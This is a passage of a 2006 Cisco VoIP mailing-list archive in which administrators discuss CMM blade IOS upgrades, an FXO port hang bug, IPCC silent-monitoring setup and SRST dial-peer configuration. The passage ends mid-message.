Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1
Message-ID: <D713462ED535184D830F6F6301753E7E01BE16D3@VISHNU.wesd.org>

When we first got it, it had like 12.2 code or something.  When I
upgraded the IOS to the 12.3 code it also upgraded Firmware on the
Cards.  Something when wrong and it killed the PRI card.  RMA was two or
three days... (but that's more of a RMA war story).

 

If you loose the IOS and end up in Rommon you can FTP off the Sup to get
it up and running.  There is a Console port on the top of the blade so
if something were to go wrong you can get on it.

 

First time I upgraded to the 12.4 code it had a Multicast issue so I had
to down grade to 12.3 so MoH worked.  That has since been fixed.

 

I also had to do some testing for a Tac Case which I used a developers
release of 12.4 that didn't do good things either.  Had to down grade to
12.3 at 10am on a business day. 

 

So, with all that said 12.4 mainline should be good, But before I'm
willing to go that direction, I want to see others using it.

 

The CMM has come a long way.

 

Scott

 

PS.  Let me know how it goes.

 

________________________________

From: Fretz, EA Eric @ IS [mailto:Eric.A.Fretz at L-3com.com] 
Sent: Wednesday, February 22, 2006 12:17 PM
To: Voll, Scott; Fretz, EA Eric @ IS; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1

 

No, we actually bought two ACT daughtercards.

 

The main thing I am concerned with is the fact that the card runs its'
own copy of IOS.....which can make switch recovery complicated if the
CMM comes up in ROMMON.  War stories would be nice!

 

Cheers,

Eric

	-----Original Message-----
	From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
	Sent: Wednesday, February 22, 2006 10:44 AM
	To: Fretz, EA Eric @ IS; cisco-voip at puck.nether.net
	Subject: RE: [cisco-voip] Setting up a WS-SVC-CMM for use with
CCM 4.1

	Upgrade the CMM.  To the latest xy code.  Something like
12.3.8xy6 or later.  It's been very stable for us.

	 

	Sounds like TAC developers would like me to move to 12.4 but
it's hard to upgrade when it's working.

	 

	Scott

	 

	PS.  Anything else you need?  Did you really buy two ACT cards,
or are you referring to the two DSP on the single ACT card?

	 

	 

	 

	
________________________________


	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fretz, EA Eric
@ IS
	Sent: Wednesday, February 22, 2006 8:30 AM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM
4.1

	 

	We just bought a Cisco Media Module and wanted to know if anyone
on the list has done this before...and what the "gotchas" are.  The CMM
has two of the ACT dsp cards that we plan on using for Meet-Me
conferences.  The 6509 switch is running CatOS 8.4 and the CMM blade is
running IOS 12.3.8.

	 

	 

	 

	 

	
________________________________


	 

	Eric Fretz

	Eric.A.Fretz at L-3Com.com

	L3 Communications-IS / Greenville, TX

	O: 903-457-3646

	F: 903-457-1903

	C: 214-794-9288

	P: 903-621-8090

	 

	 

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From jonvoip at gmail.com  Wed Feb 22 16:50:07 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Wed Feb 22 16:50:12 2006
Subject: [cisco-voip] FXO ports hanging issue
In-Reply-To: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E24@MREXVS01.bc.broward.cty>
References: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E24@MREXVS01.bc.broward.cty>
Message-ID: <5d093f9a0602221350xb642f4cq649d85f5c010f0f5@mail.gmail.com>

Gee, have we had this problem?

Hmmm...

Well, we have a customer with a couple of sites, all on 2821s, and we have
been hitting the bug...

If you do a:

term mon

test voice port 0/1/1 codec-debug 100 0

You will see 4-character hex output if you are hitting the bug (normally,
you see 2-character hex output)...

And yes, the only fix is a reboot... Cisco says they are 'working on it,' so
we are not expecting a fix any time soon.


Jonathan

On 2/22/06, Ortiz, Carlos <CORTIZ at broward.org> wrote:
>
>  There is a known bug out there with FXO cards that seems to be affecting
> us (Waiting for another occurrence to verify with debugs for TAC).  The FXO
> cards on 2800/3800 serires routers can get hung up.  Inbound and outbound
> calls stop functioning and the only workaround at this time is a reboot.  I
> have about 5 locations with a 2800 series router and FXO cards.  I only see
> this problem in one location that happens to have the heaviest call volume.
> Just curious if anyone else has encountered this issue?.
>
>
>
> Carlos
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From CORTIZ at broward.org  Wed Feb 22 17:46:53 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Wed Feb 22 17:47:01 2006
Subject: [cisco-voip] FXO ports hanging issue
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E29@MREXVS01.bc.broward.cty>

How often would you say you require a reboot. We can't be the only ones with this issue. Anyone else?
--------------------------



-----Original Message-----
From: Jonathan Charles <jonvoip at gmail.com>
To: Ortiz, Carlos <CORTIZ at broward.org>
CC: cisco-voip at puck.nether.net <cisco-voip at puck.nether.net>
Sent: Wed Feb 22 16:50:07 2006
Subject: Re: [cisco-voip] FXO ports hanging issue

Gee, have we had this problem?

Hmmm...

Well, we have a customer with a couple of sites, all on 2821s, and we have been hitting the bug...

If you do a:

term mon

test voice port 0/1/1 codec-debug 100 0 

You will see 4-character hex output if you are hitting the bug (normally, you see 2-character hex output)...

And yes, the only fix is a reboot... Cisco says they are 'working on it,' so we are not expecting a fix any time soon. 


Jonathan


On 2/22/06, Ortiz, Carlos <CORTIZ at broward.org> wrote:

	There is a known bug out there with FXO cards that seems to be affecting us (Waiting for another occurrence to verify with debugs for TAC).  The FXO cards on 2800/3800 serires routers can get hung up.  Inbound and outbound calls stop functioning and the only workaround at this time is a reboot.  I have about 5 locations with a 2800 series router and FXO cards.  I only see this problem in one location that happens to have the heaviest call volume.  Just curious if anyone else has encountered this issue?.

	 

	Carlos 


	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip <https://puck.nether.net/mailman/listinfo/cisco-voip> 
	
	
	


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From jonvoip at gmail.com  Wed Feb 22 17:57:32 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Wed Feb 22 17:57:35 2006
Subject: [cisco-voip] FXO ports hanging issue
In-Reply-To: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E29@MREXVS01.bc.broward.cty>
References: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E29@MREXVS01.bc.broward.cty>
Message-ID: <5d093f9a0602221457w2e432742ib6db0b2984abe8c6@mail.gmail.com>

Not that often (per site), but there are a LOT of sites, so, we usually had
to do 5 to 10 (out of 450) a week...

However, I think we have gotten the code upgraded, because we haven't had
one in a few days...



J

On 2/22/06, Ortiz, Carlos <CORTIZ at broward.org> wrote:
>
> How often would you say you require a reboot. We can't be the only ones
> with this issue. Anyone else?
> --------------------------
>
>
>
>
> -----Original Message-----
> From: Jonathan Charles <jonvoip at gmail.com>
> To: Ortiz, Carlos <CORTIZ at broward.org>
> CC: cisco-voip at puck.nether.net <cisco-voip at puck.nether.net>
> Sent: Wed Feb 22 16:50:07 2006
> Subject: Re: [cisco-voip] FXO ports hanging issue
>
> Gee, have we had this problem?
>
> Hmmm...
>
> Well, we have a customer with a couple of sites, all on 2821s, and we have
> been hitting the bug...
>
> If you do a:
>
> term mon
>
> test voice port 0/1/1 codec-debug 100 0
>
> You will see 4-character hex output if you are hitting the bug (normally,
> you see 2-character hex output)...
>
> And yes, the only fix is a reboot... Cisco says they are 'working on it,'
> so we are not expecting a fix any time soon.
>
>
> Jonathan
>
>
> On 2/22/06, Ortiz, Carlos <CORTIZ at broward.org> wrote:
>
>         There is a known bug out there with FXO cards that seems to be
> affecting us (Waiting for another occurrence to verify with debugs for
> TAC).  The FXO cards on 2800/3800 serires routers can get hung up.  Inbound
> and outbound calls stop functioning and the only workaround at this time is
> a reboot.  I have about 5 locations with a 2800 series router and FXO
> cards.  I only see this problem in one location that happens to have the
> heaviest call volume.  Just curious if anyone else has encountered this
> issue?.
>
>
>
>         Carlos
>
>
>         _______________________________________________
>         cisco-voip mailing list
>         cisco-voip at puck.nether.net
>         https://puck.nether.net/mailman/listinfo/cisco-voip <
> https://puck.nether.net/mailman/listinfo/cisco-voip>
>
>
>
>
>
>
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From erickbe at yahoo.com  Wed Feb 22 18:21:14 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Wed Feb 22 18:21:23 2006
Subject: [cisco-voip] FXO ports hanging issue
In-Reply-To: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E24@MREXVS01.bc.broward.cty>
Message-ID: <20060222232114.6343.qmail@web34301.mail.mud.yahoo.com>

Check the details of the following bug id's.

CSCsc11833 and CSCsc49979. If it is first one, you may
want to try to re-seat your PVDMs.

What version IOS are you on? Have caller-id enabled on
the FXOs? Theres also a bus-error crash bug,
CSCsc39557 but that should only effect you if you have
caller id enabled.

--- "Ortiz, Carlos" <CORTIZ at broward.org> wrote:

> There is a known bug out there with FXO cards that
> seems to be affecting
> us (Waiting for another occurrence to verify with
> debugs for TAC).  The
> FXO cards on 2800/3800 serires routers can get hung
> up.  Inbound and
> outbound calls stop functioning and the only
> workaround at this time is
> a reboot.  I have about 5 locations with a 2800
> series router and FXO
> cards.  I only see this problem in one location that
> happens to have the
> heaviest call volume.  Just curious if anyone else
> has encountered this
> issue....
> 
>  
> 
> Carlos 
> 
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From dhartmann at whitepinecom.com  Wed Feb 22 06:29:40 2006
From: dhartmann at whitepinecom.com (Dennis Hartmann)
Date: Wed Feb 22 18:29:48 2006
Subject: [cisco-voip] OT: IPCC Express and CRA Scripting Contract Opportunity
Message-ID: <009801c637a3$4538b8e0$d55e10ac@missy>

    If you have a lot of experience doing IPCC Express and CRA scripting (as
well as) some Call Manager, contact 
 

Dennis J. Hartmann
CCIE# 15651 
White Pine Communications
CCVP/CCSI/CCIP/CCNP/MCSE


 

 
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From erickbe at yahoo.com  Wed Feb 22 18:33:58 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Wed Feb 22 18:34:06 2006
Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1
In-Reply-To: <51A2C3ED40A3584281444F65BC9026270A8846B7@gvlexch02.gvl.is.l-3com.com>
Message-ID: <20060222233358.97083.qmail@web34302.mail.mud.yahoo.com>

>From my experiences with them, they have been stable
especially on later 8xy IOS releases. I haven't been
brave enough to try 12.4 on any yet due to my other
run ins with 12.4 on other platforms. 

--- "Fretz, EA Eric @ IS" <Eric.A.Fretz at L-3com.com>
wrote:

> No, we actually bought two ACT daughtercards.
>  
> The main thing I am concerned with is the fact that
> the card runs its' own
> copy of IOS.....which can make switch recovery
> complicated if the CMM comes
> up in ROMMON.  War stories would be nice!
>  
> Cheers,
> Eric
> 
> -----Original Message-----
> From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
> Sent: Wednesday, February 22, 2006 10:44 AM
> To: Fretz, EA Eric @ IS; cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] Setting up a WS-SVC-CMM
> for use with CCM 4.1
> 
> 
> 
> Upgrade the CMM.  To the latest xy code.  Something
> like 12.3.8xy6 or later.
> It's been very stable for us.
> 
>  
> 
> Sounds like TAC developers would like me to move to
> 12.4 but it's hard to
> upgrade when it's working.
> 
>  
> 
> Scott
> 
>  
> 
> PS.  Anything else you need?  Did you really buy two
> ACT cards, or are you
> referring to the two DSP on the single ACT card?
> 
>  
> 
>  
> 
>  
> 
> 
>   _____  
> 
> 
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On
> Behalf Of Fretz, EA Eric @ IS
> Sent: Wednesday, February 22, 2006 8:30 AM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] Setting up a WS-SVC-CMM for
> use with CCM 4.1
> 
>  
> 
> We just bought a Cisco Media Module and wanted to
> know if anyone on the list
> has done this before...and what the "gotchas" are. 
> The CMM has two of the
> ACT dsp cards that we plan on using for Meet-Me
> conferences.  The 6509
> switch is running CatOS 8.4 and the CMM blade is
> running IOS 12.3.8.
> 
>  
> 
>  
> 
>  
> 
>  
> 
> 
>   _____  
> 
> 
>  
> 
> Eric Fretz
> 
> Eric.A.Fretz at L-3Com.com
> <mailto:Eric.A.Fretz at L-3Com.com> 
> 
> L3 Communications-IS / Greenville, TX
> 
> O: 903-457-3646
> 
> F: 903-457-1903
> 
> C: 214-794-9288
> 
> P: 903-621-8090
> 
>  
> 
>  
> 
> > _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From jonvoip at gmail.com  Wed Feb 22 18:34:13 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Wed Feb 22 18:34:16 2006
Subject: [cisco-voip] FXO ports hanging issue
In-Reply-To: <20060222232114.6343.qmail@web34301.mail.mud.yahoo.com>
References: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E24@MREXVS01.bc.broward.cty>
	<20060222232114.6343.qmail@web34301.mail.mud.yahoo.com>
Message-ID: <5d093f9a0602221534n83558ccnb665067976ec8e58@mail.gmail.com>

Define big?

They have about 16000 phones and about 400 sites (so far)...

Also, check to make sure none of the unused ports are shutdown, busy them
out instead.



J



On 2/22/06, Erick Bergquist <erickbe at yahoo.com> wrote:
>
> Check the details of the following bug id's.
>
> CSCsc11833 and CSCsc49979. If it is first one, you may
> want to try to re-seat your PVDMs.
>
> What version IOS are you on? Have caller-id enabled on
> the FXOs? Theres also a bus-error crash bug,
> CSCsc39557 but that should only effect you if you have
> caller id enabled.
>
> --- "Ortiz, Carlos" <CORTIZ at broward.org> wrote:
>
> > There is a known bug out there with FXO cards that
> > seems to be affecting
> > us (Waiting for another occurrence to verify with
> > debugs for TAC).  The
> > FXO cards on 2800/3800 serires routers can get hung
> > up.  Inbound and
> > outbound calls stop functioning and the only
> > workaround at this time is
> > a reboot.  I have about 5 locations with a 2800
> > series router and FXO
> > cards.  I only see this problem in one location that
> > happens to have the
> > heaviest call volume.  Just curious if anyone else
> > has encountered this
> > issue....
> >
> >
> >
> > Carlos
> >
> > > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From wsisk at cisco.com  Wed Feb 22 20:32:45 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 22 20:32:54 2006
Subject: [cisco-voip] Compatability matrix
In-Reply-To: <124D48FCC0BBC44591CD5E13109302250B1ACD2E@wmggsex08.wmg.com>
References: <124D48FCC0BBC44591CD5E13109302250B1ACD2E@wmggsex08.wmg.com>
Message-ID: <43FD10BD.2010301@cisco.com>

matrix has not been updated.

the message is informational more than anything.  you will get the same 
thing for CAR if backing up CDR

/Wes

Rogers, Jeremy (WMG) wrote:
>
> Has anyone seen a more recent updated version of the compatibility 
> matrix?  It looks like the last update was in November.  I recently 
> noticed an error on my CER server that the version of BARS is 
> incompatible.  I am running 4.0(8).  I don't know if 4.0(9) is.  I am 
> running CCM 4.1(3) so I cant go backwards with BARS.  Anyone know 
> whether 4.0(9) is compatible or the matrix has been updated?
>
>  
>
> Jeremy Rogers
>
> Senior Telecom Analyst
>
> Warner Music Group
>
> 75 Rockefeller Plaza
>
> New York, NY 10019
>
> 212-275-2183
>
>  
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   

From brainwhistler at yahoo.com  Wed Feb 22 23:37:15 2006
From: brainwhistler at yahoo.com (Brain Whistler)
Date: Wed Feb 22 23:37:24 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <20060222124910.66977.qmail@web37307.mail.mud.yahoo.com>
Message-ID: <20060223043715.43252.qmail@web37311.mail.mud.yahoo.com>

Any Help ????

Brain

--- Brain Whistler <brainwhistler at yahoo.com> wrote:

> Yes, I do have license for VoIP Monitor. 
> 
> All the agents, Supervisor and both NIC of CRS
> server
> is connected to same 2950(IOS 12.2.22 EI) switch. I
> made the swith ports as source except the one where
> VoIP monitor NIC is connected. I have also entered
> the
> registry key as described in this document
>  
>
http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_tech_note09186a00801a62a8.shtml#topic7
> 
> Any help ??
> 
> Brain
> 
> 
> --- Erick Bergquist <erickbe at yahoo.com> wrote:
> 
> > I recall this list or theres another list for IPCC
> > Express 4.x that add endpoint monitoring from
> users
> > desktop. Before IPCC Express 4.x all monitoring
> > needed
> > a span port on a switch, etc but that changed in
> > IPCC
> > Express 4.x and now theres the span port method as
> > well as endpoint monitoring. 
> > 
> > --- Jordy Leung <jordyl at yahoo.com> wrote:
> > 
> > > Also, not sure for IPCC Express, For IPCC
> > > Enterprise, there is list of NIC
> > > which will be supported by IPCC.  You need to
> > check
> > > if your agents' and
> > > supervisors' PC are installed compliable NIC for
> > > silient monitoring.
> > > 
> > >
> >
>
http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00801f42f9.shtml
> > > 
> > > See if it helps you!
> > > 
> > > --- "Voll, Scott" <Scott.Voll at wesd.org> wrote:
> > > 
> > > > And VGW.
> > > > 
> > > >  
> > > > 
> > > > ________________________________
> > > > 
> > > > From: cisco-voip-bounces at puck.nether.net
> > > > [mailto:cisco-voip-bounces at puck.nether.net] On
> > > Behalf Of Jonathan
> > > > Charles
> > > > Sent: Tuesday, February 21, 2006 7:39 AM
> > > > To: Brain Whistler
> > > > Cc: Cisco Voip
> > > > Subject: Re: [cisco-voip] IPCC VoIP Monitor
> > > > 
> > > >  
> > > > 
> > > > The files are 0K right?
> > > > 
> > > > That's because IPCC sees the call, it just
> isn't
> > > getting data.
> > > > 
> > > > You need to span all of your agents ports to
> the
> > > monitor port:
> > > > 
> > > > monitor session 1 source | destination... blah
> > > blah 
> > > > 
> > > > Make sure you include ALL the agent and
> > supervisor
> > > ports.
> > > > 
> > > > 
> > > > 
> > > > Jonathan
> > > > 
> > > > 
> > > > 
> > > > 
> > > > On 2/21/06, Brain Whistler <
> > > brainwhistler at yahoo.com
> > > > <mailto:brainwhistler at yahoo.com> > wrote:
> > > > 
> > > > Hi,
> > > > 
> > > > I am running Cisco IPCC Express 3.5.(2)
> Enhanced
> > 
> > > > edition for contact centre with CCM 4.0.(1).
> > This
> > > is
> > > > installed on Dedicated machine where CRA
> Server,
> > > VoIP
> > > > Monitor and Historical Reporting is
> co-resident.
> > I
> > > > have configured two nic cards as described in
> > > > Administration guides. 
> > > > 
> > > > Everything is working fine but when is the
> > > Supervisor
> > > > goes for call recording or Silient Monitor is
> > > doesn't
> > > > work, although I can see a file created of the
> > > > recording of 46 bytes in the folder
> > > > 
> > > > c:\program
> > files\cisco\Desktop_config\Audiofiles\,
> > > but 
> > > > nothing more than that.
> > > > 
> > > > Note that I have already configured the switch
> > for
> > > > SPAN. I have verified my configuration with
> IRIS
> > > > sniffer, it is working perfectly and capturing
> > RTP
> > > > packets but cannot get this successful on IPCC
> > > VoIP 
> > > > Monitor.
> > > > 
> > > > Can anyone help me in it, where I am failing,
> or
> > > does
> > > > VoIP Monitor server need to be configured from
> > > which
> > > > NIC to capture RTP packets.
> > > > 
> > > > Thanks
> > > > Brain
> > > > 
> > > > 
> > > >
> > __________________________________________________
> > > 
> > > > Do You Yahoo!?
> > > > Tired of spam?  Yahoo! Mail has the best spam
> > > protection around
> > > > http://mail.yahoo.com
> > > >
> _______________________________________________
> > > > cisco-voip mailing list 
> > > > cisco-voip at puck.nether.net
> > > >
> > >
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > 
> > > >  
> > > > 
> > > > >
> > _______________________________________________
> > > > cisco-voip mailing list
> > > > cisco-voip at puck.nether.net
> > > >
> > >
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > 
> > > 
> > > 
> > > Jordy Leung
> > > 
> > >
> __________________________________________________
> > > Do You Yahoo!?
> > > Tired of spam?  Yahoo! Mail has the best spam
> > > protection around 
> > > http://mail.yahoo.com 
> > > _______________________________________________
> > > cisco-voip mailing list
> > > cisco-voip at puck.nether.net
> > >
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > 
> > 
> > 
> > __________________________________________________
> > Do You Yahoo!?
> > Tired of spam?  Yahoo! Mail has the best spam
> > protection around 
> > http://mail.yahoo.com 
> > 
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> http://mail.yahoo.com 
> 
=== message truncated ===


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From brainwhistler at yahoo.com  Thu Feb 23 04:58:11 2006
From: brainwhistler at yahoo.com (Brain Whistler)
Date: Thu Feb 23 04:58:20 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <20060222063701.49637.qmail@web34309.mail.mud.yahoo.com>
Message-ID: <20060223095811.39845.qmail@web37308.mail.mud.yahoo.com>

I have Cisco IP Softphones at the Agents and
Supervisor Desktop. 

Does call recording and silent monitor is supported on
IP Softphones or IP Communicator???

Brain

--- Erick Bergquist <erickbe at yahoo.com> wrote:

> I recall this list or theres another list for IPCC
> Express 4.x that add endpoint monitoring from users
> desktop. Before IPCC Express 4.x all monitoring
> needed
> a span port on a switch, etc but that changed in
> IPCC
> Express 4.x and now theres the span port method as
> well as endpoint monitoring. 
> 
> --- Jordy Leung <jordyl at yahoo.com> wrote:
> 
> > Also, not sure for IPCC Express, For IPCC
> > Enterprise, there is list of NIC
> > which will be supported by IPCC.  You need to
> check
> > if your agents' and
> > supervisors' PC are installed compliable NIC for
> > silient monitoring.
> > 
> >
>
http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00801f42f9.shtml
> > 
> > See if it helps you!
> > 
> > --- "Voll, Scott" <Scott.Voll at wesd.org> wrote:
> > 
> > > And VGW.
> > > 
> > >  
> > > 
> > > ________________________________
> > > 
> > > From: cisco-voip-bounces at puck.nether.net
> > > [mailto:cisco-voip-bounces at puck.nether.net] On
> > Behalf Of Jonathan
> > > Charles
> > > Sent: Tuesday, February 21, 2006 7:39 AM
> > > To: Brain Whistler
> > > Cc: Cisco Voip
> > > Subject: Re: [cisco-voip] IPCC VoIP Monitor
> > > 
> > >  
> > > 
> > > The files are 0K right?
> > > 
> > > That's because IPCC sees the call, it just isn't
> > getting data.
> > > 
> > > You need to span all of your agents ports to the
> > monitor port:
> > > 
> > > monitor session 1 source | destination... blah
> > blah 
> > > 
> > > Make sure you include ALL the agent and
> supervisor
> > ports.
> > > 
> > > 
> > > 
> > > Jonathan
> > > 
> > > 
> > > 
> > > 
> > > On 2/21/06, Brain Whistler <
> > brainwhistler at yahoo.com
> > > <mailto:brainwhistler at yahoo.com> > wrote:
> > > 
> > > Hi,
> > > 
> > > I am running Cisco IPCC Express 3.5.(2) Enhanced
> 
> > > edition for contact centre with CCM 4.0.(1).
> This
> > is
> > > installed on Dedicated machine where CRA Server,
> > VoIP
> > > Monitor and Historical Reporting is co-resident.
> I
> > > have configured two nic cards as described in
> > > Administration guides. 
> > > 
> > > Everything is working fine but when is the
> > Supervisor
> > > goes for call recording or Silient Monitor is
> > doesn't
> > > work, although I can see a file created of the
> > > recording of 46 bytes in the folder
> > > 
> > > c:\program
> files\cisco\Desktop_config\Audiofiles\,
> > but 
> > > nothing more than that.
> > > 
> > > Note that I have already configured the switch
> for
> > > SPAN. I have verified my configuration with IRIS
> > > sniffer, it is working perfectly and capturing
> RTP
> > > packets but cannot get this successful on IPCC
> > VoIP 
> > > Monitor.
> > > 
> > > Can anyone help me in it, where I am failing, or
> > does
> > > VoIP Monitor server need to be configured from
> > which
> > > NIC to capture RTP packets.
> > > 
> > > Thanks
> > > Brain
> > > 
> > > 
> > >
> __________________________________________________
> > 
> > > Do You Yahoo!?
> > > Tired of spam?  Yahoo! Mail has the best spam
> > protection around
> > > http://mail.yahoo.com
> > > _______________________________________________
> > > cisco-voip mailing list 
> > > cisco-voip at puck.nether.net
> > >
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > 
> > >  
> > > 
> > > >
> _______________________________________________
> > > cisco-voip mailing list
> > > cisco-voip at puck.nether.net
> > >
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > 
> > 
> > 
> > Jordy Leung
> > 
> > __________________________________________________
> > Do You Yahoo!?
> > Tired of spam?  Yahoo! Mail has the best spam
> > protection around 
> > http://mail.yahoo.com 
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> http://mail.yahoo.com 
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From gary.ciscomail at gmail.com  Thu Feb 23 07:51:35 2006
From: gary.ciscomail at gmail.com (Gary Roberton)
Date: Thu Feb 23 07:51:37 2006
Subject: [cisco-voip] SRST Dial peer
Message-ID: <cf9098540602230451o331512e6p28bb6561b52f22f9@mail.gmail.com>

Hi

Can anyone clarify the need for dial peers with an MGCP gateway running SRST
3.3.  I cannot get the router to dial in or our without a POTS dial peer
even though I am using a *
*dialplan-pattern and a transfer-pattern.  Is it right that a POTS dial peer
is required?  I seem to recall that the router can donfigure dial peers
itself on the fly.

Regards

Gary
*
*
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From kthorngr at cisco.com  Thu Feb 23 08:22:37 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Thu Feb 23 08:22:24 2006
Subject: [cisco-voip] SRST Dial peer
In-Reply-To: <cf9098540602230451o331512e6p28bb6561b52f22f9@mail.gmail.com>
References: <cf9098540602230451o331512e6p28bb6561b52f22f9@mail.gmail.com>
Message-ID: <797da2f2d6523008649a5eb1abd58804@cisco.com>

Yes, you will need H323 pots dial peer(s) for inbound and outbound  
calls to work when in SRST.  Depending on how you have the GW  
configured (ccm-manager commands) CallManager can configure the MGCP  
dial-peers but it won't configure the dial-peers needed when in SRST.   
When the router is in SRST MGCP is not used anymore and H323 takes  
over.  This URL provides a simple example of this:
http://www.cisco.com/en/US/tech/tk1077/ 
technologies_configuration_example09186a008012ecc6.shtml

You can use the same dial peers for both MGCP and H323 as in the  
example or you can create new dial peers just for H323 when in SRST.

Kevin
On Feb 23, 2006, at 7:51 AM, Gary Roberton wrote:

> Hi
>
>  Can anyone clarify the need for dial peers with an MGCP gateway  
> running SRST 3.3.? I cannot get the router to dial in or our without a  
> POTS dial peer even though I am using a
> dialplan-pattern and a transfer-pattern.? Is it right that a POTS dial  
> peer is required?? I seem to recall that the router can donfigure dial  
> peers itself on the fly.
>
>  Regards
>
>  Gary
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip



From patrick.diener at ita.hsr.ch  Thu Feb 23 08:40:01 2006
From: patrick.diener at ita.hsr.ch (patrick.diener@ita.hsr.ch)
Date: Thu Feb 23 08:40:09 2006
Subject: [cisco-voip] SRST Dial peer
Message-ID: <9235.194.6.186.146.1140702001.squirrel@webmail.ins.hsr.ch>

> Hi
Hi Gary

If the connection to the CallManager is up and running all call routing
decisions are made by CCM for an MGCP-Gateway. If the connection to the
CCM is lost the GW has to rely on its self to make call routing decisions,
hence you have to configure dial-peers (cause that's the way call routing
is done on ios platforms)

If no dial-peers are configured or an appropriate dial-peer can not be
found for an incoming call the GW tries to use the default dial-peer to
create the inbound call-leg. For outbound call-legs the default dial-peer
can not be used so a dial-peer MUST be configured.

For more information on ios call routing and dial-peers:
http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/products_configuration_guide_chapter09186a0080080aec.html

Patrick

>
> Can anyone clarify the need for dial peers with an MGCP gateway running
> SRST
> 3.3.  I cannot get the router to dial in or our without a POTS dial peer
> even though I am using a *
> *dialplan-pattern and a transfer-pattern.  Is it right that a POTS dial
> peer
> is required?  I seem to recall that the router can donfigure dial peers
> itself on the fly.
>
> Regards
>
> Gary
> *
> *
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>



From erickbe at yahoo.com  Thu Feb 23 09:00:40 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Thu Feb 23 09:01:04 2006
Subject: [cisco-voip] SRST Dial peer
In-Reply-To: <9235.194.6.186.146.1140702001.squirrel@webmail.ins.hsr.ch>
Message-ID: <20060223140040.9215.qmail@web34305.mail.mud.yahoo.com>

Also,

You may need to use translation-rules, connection plar
on FXOs, alias under fallback, etc depending on your
dial plan. Especially if  under normal conditions if
your calls route to virtual numbers (not directly to
IP Phone extension that exist in fallback). When in
fallback, the IP phones that go in fallback will have
their extensions automatically added to router during
the time of fallback for up to the max-dn settings
configured, etc per phone model. Any other numbers
will need to be handled by the means mentioned above
in H.323 to get those calls to route to a phone in
fallback.

You may also want to add 'application mgcpapp' or
'service mgcpapp' to all dial-peers with a analog pots
port under them. This is so when in MGCP-mode a
inbound call doesn't accidentally terminate on a
non-MGCP dial peer and cause problems (dead air, etc).
I have seen this happen. Also make sure you have the
